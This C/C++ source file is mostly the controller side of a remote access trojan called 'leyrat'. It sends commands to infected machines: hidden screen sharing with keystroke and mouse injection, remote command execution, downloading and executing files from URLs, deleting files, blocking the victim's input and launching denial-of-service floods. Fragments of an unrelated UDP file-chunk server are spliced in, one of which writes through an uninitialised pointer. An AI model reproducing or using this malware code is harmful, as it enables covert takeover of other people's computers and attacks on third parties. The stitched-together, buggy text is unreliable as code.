void leyrat::Request_Screenshare(const char *ip, const char*line, const char*preset, int width, int height, unsigned char fps)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting Screenshare __ %lu __ %lu!\n", ip, port, width, height);
char bpkg[0xFFF];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('j');
buf.WriteChar((char)fps);
buf.WriteInt32(width);
buf.WriteInt32(height);
buf.WriteString(preset);
buf.WriteString(line);
net.SendTo(ip, port, bpkg, buf.GetPos());
onlineuser *cl = GetClient(ip);
if(cl)
{
cl->is_screensharing = true;
}
}
void leyrat::Request_FileDownload(const char *ip, const char*file, const char*savelocation, bool is_update)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting FileDownload!\n", ip, port);
char bpkg[500];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('d');
if(is_update)
{
buf.WriteChar(1);
}else{
buf.WriteChar(0);
}
buf.WriteString(savelocation);
net.SendTo(ip, port, bpkg, buf.GetPos());
onlineuser *cl = GetClient(ip);
if(cl)
{
cl->is_uploading = 0;
cl->is_downloading = new char[strlen(file)+1];
strcpy(cl->is_downloading, file);
}
}
void leyrat::Request_Dos(const char *ip, const char *addr, const char *pkg, unsigned char pkglen, unsigned int time, short atkport, bool is_http)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting Dos!\n", ip, port);
char bpkg[0xFFF];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('g');
buf.WriteInt32(time);
if (time == 0)
{
net.SendTo(ip, port, bpkg, buf.GetPos());
return;
}
buf.WriteChar((char)!is_http);
buf.WriteString(addr);
buf.WriteInt32(atkport);
buf.WriteChar(pkglen);
buf.WriteBytes((void*)pkg, pkglen);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_Suicide(const char *ip)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting suicide!\n", ip, port);
char bpkg[100];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('2');
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_DiskTray(const char *ip, bool should_open)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting DiskTray!\n", ip, port);
char bpkg[100];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('7');
buf.WriteChar((char)should_open);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_TaskbarBlock(const char*ip, bool should_block)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting TaskbarBlock!\n", ip, port);
char bpkg[100];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('5');
buf.WriteChar((char)should_block);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_HTTPDownload(const char *ip, const char*url, const char*store, bool exec, bool update)
{
unsigned short port = GetClientPort(ip);
if(url==0||strlen(url)==0)
return;
Log("[S][%s:%hu] Requesting http download %x _ %x!\n", ip,port, exec, update);
char addr[255];
char file[255];
std::string surl = url;
surl.erase(0, 7);
std::string saddr = surl;
saddr.erase(saddr.find_first_of('/'));
strcpy(addr, saddr.c_str());
addr[saddr.length()]=0;
std::string sfile = surl;
sfile.erase(0, sfile.find_first_of('/'));
strcpy(file, sfile.c_str());
file[sfile.length()]= 0;
char extras = 0;
if (update)
extras = 2;
if (exec)
extras = 1;
char bpkg[0xFFF];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('1');
buf.WriteString(addr);
buf.WriteString(file);
buf.WriteString(store);
buf.WriteChar(extras);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_FileDelete(const char *ip, const char*file)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting FileDelete!\n", ip, port);
char bpkg[500];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('8');
buf.WriteString(file);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_ScreenshareInput(const char *ip, unsigned char numkeystrokes, unsigned char*keystrokes, unsigned int keystrokeslen)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting Screenshare input key!\n", ip, port);
char bpkg[0xFFF] = {0};
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('l');
buf.WriteChar(0);
buf.WriteChar(numkeystrokes);
buf.WriteBytes(keystrokes, keystrokeslen);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_ScreenshareInput(const char *ip, int x, int y, int type, int data)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s] Requesting Screenshare input mouse [%i:%i] %i, %i!\n", ip, x, y, type, data);
char bpkg[0xFFF];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('l');
buf.WriteChar(1);
buf.WriteInt32(x);
buf.WriteInt32(y);
buf.WriteInt32(type);
buf.WriteInt32(data);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void
PrintRequestMessage(char *msg)
{
char fname[FILENAME_LEN + 1];
int chunk_num;
char client_address[CADDRESS_LEN + 1];
unsigned short client_port;
GetRequestedFileName(msg, fname);
GetRequestedChunk(msg, &chunk_num);
GetClientAddress(msg, client_address);
GetClientPort(msg, &client_port);
fprintf(stderr, "[Request Message - %d]\n", strlen(msg));
fprintf(stderr, "\t File Name : %s\n", fname);
fprintf(stderr, "\t Chunk Number : %d\n", chunk_num);
fprintf(stderr, "\tClient Address : %s\n", client_address);
fprintf(stderr, "\t Client Port : %d\n", client_port);
return;
}
void leyrat::Request_InputBlock(const char*ip, bool is_mouse, bool should_block)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting InputBlock!\n", ip, port);
char bpkg[100];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('3');
if(is_mouse)
{
buf.WriteChar(0);
}else{
buf.WriteChar(1);
}
buf.WriteChar((char)should_block);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
void leyrat::Request_RunCmd(const char *ip, const char*torun, bool getresponse)
{
unsigned short port = GetClientPort(ip);
Log("[S][%s:%hu] Requesting RunCmd :: %s!\n", ip, port, torun);
char bpkg[1024];
leybuf buf(bpkg, sizeof(bpkg));
buf.WriteString("\xDB\xDB", true);
buf.WriteChar('b');
buf.WriteChar(0);//show
if(getresponse)
{
buf.WriteChar(1);
}else{
buf.WriteChar(0);
}
buf.WriteString(torun);
net.SendTo(ip, port, bpkg, buf.GetPos());
}
int main(int argc, char *argv[])
{
/* messages */
char recvd_msg[RMSGSIZE];
char *response_msg;
/* sockets */
int recv_sock;
int send_sock;
/* send related */
struct sockaddr_in send_name;
struct hostent *hp, *gethostbyname();
/* client related */
char client_address[CADDRESS_LEN + 1];
unsigned short client_port;
/* create socket to listen on - no timeout */
recv_sock = CreateRecvSocket();
/* create socket to send on */
send_sock = CreateSendSocket();
/* ** start server ** */
while(1)
{
/* read from socket */
if(read(recv_sock, recvd_msg, RMSGSIZE+1) < 0)
{
perror("Reading from socket");
}
else
{
GetClientAddress(recvd_msg, client_address);
GetClientPort(recvd_msg, &client_port);
/* construct socket to send to */
hp = gethostbyname(client_address);
if(hp == 0)
{
fprintf(stderr, "Unknown host : %s\n", client_address);
continue;
}
bcopy(hp->h_addr, &send_name.sin_addr, hp->h_length);
send_name.sin_family = AF_INET;
send_name.sin_port = htons(client_port);
/* send reponse */
GetResponseMessage(recvd_msg, response_msg);
if(response_msg[0] == 'C')
{
if(sendto(send_sock, response_msg, CMSGSIZE, 0, (struct sockaddr *)&send_name, sizeof(send_name)) < 0)
{
perror("Sending message");
}
}
if(response_msg[0] == 'D')
{
if(sendto(send_sock, response_msg, DMSGSIZE, 0, (struct sockaddr *)&send_name, sizeof(send_name)) < 0)
{
perror("Sending message");
}
}
}
}
return 0;
}
void
GetResponseMessage(char *inmsg, char *outmsg)
{
char filename[FILENAME_LEN + 1]; /* requested file name */
int requested_chunk; /* requested chunk number */
char client_address[CADDRESS_LEN + 1]; /* address of client */
unsigned short client_port; /* port of client */
int total_chunks; /* total # of chunks in file */
char temp[CHUNK_LEN + 1]; /* requested chunk - string */
int i; /* loops et al */
char data[DATA_LEN + 1]; /* file chunk */
int status; /* function returns */
int datsize; /* size of data chunk */
/* extract info from request message */
GetRequestedFileName(inmsg, filename);
GetRequestedChunk(inmsg, &requested_chunk);
GetClientAddress(inmsg, client_address);
GetClientPort(inmsg, &client_port);
/* get total number of chunks in file */
total_chunks = GetTotalChunks(filename);
/* check for errors - construct CTL messages */
if(!IsValidFileName(filename)) strcpy(outmsg, "CERRORUNAUTHORIZED REQUEST");
else if(inmsg[0] != 'R') strcpy(outmsg, "CERRORBAD REQUEST FORMAT");
else if(requested_chunk < 0) strcpy(outmsg, "CERRORBAD CHUNK REQUEST");
else if(requested_chunk == 0) /* number of chunks requested */
{
if(total_chunks == -1) strcpy(outmsg, "CERRORCANNOT STAT FILE");
else if(total_chunks == 0) strcpy(outmsg, "CERRORFILE SIZE NULL");
else if(total_chunks > 99999) strcpy(outmsg, "CERRORTOO MANY CHUNKS");
else
{
sprintf(temp, "%d", total_chunks);
strcpy(outmsg, "CCHNKS");
strcat(outmsg, temp);
}
}
else /* construct data message */
{
status = GetFileChunk(filename, requested_chunk, data, &datsize);
if(status != 0)
{
if(status == -1) strcpy(outmsg, "CERRORFILE SIZE NULL");
else if (status == -2) strcpy(outmsg, "CERRORCANNOT STAT FILE");
else if(status == -3) strcpy(outmsg, "CERRORCHUNK OUT OF BOUND");
else strcpy(outmsg, "CERRORUNKNOWN ERROR");
}
else
{
/* MSGTYPE */
strcpy(outmsg, "D");
/* CHUNK */
sprintf(temp, "%d", requested_chunk);
for(i = 0; i < CHUNK_LEN - strlen(temp); i++) strcat(outmsg, " ");
strcat(outmsg, temp);
/* data */
strcat(outmsg, data);
outmsg[datsize + MSGTYPE_LEN + CHUNK_LEN] = '\0';
}
}
}
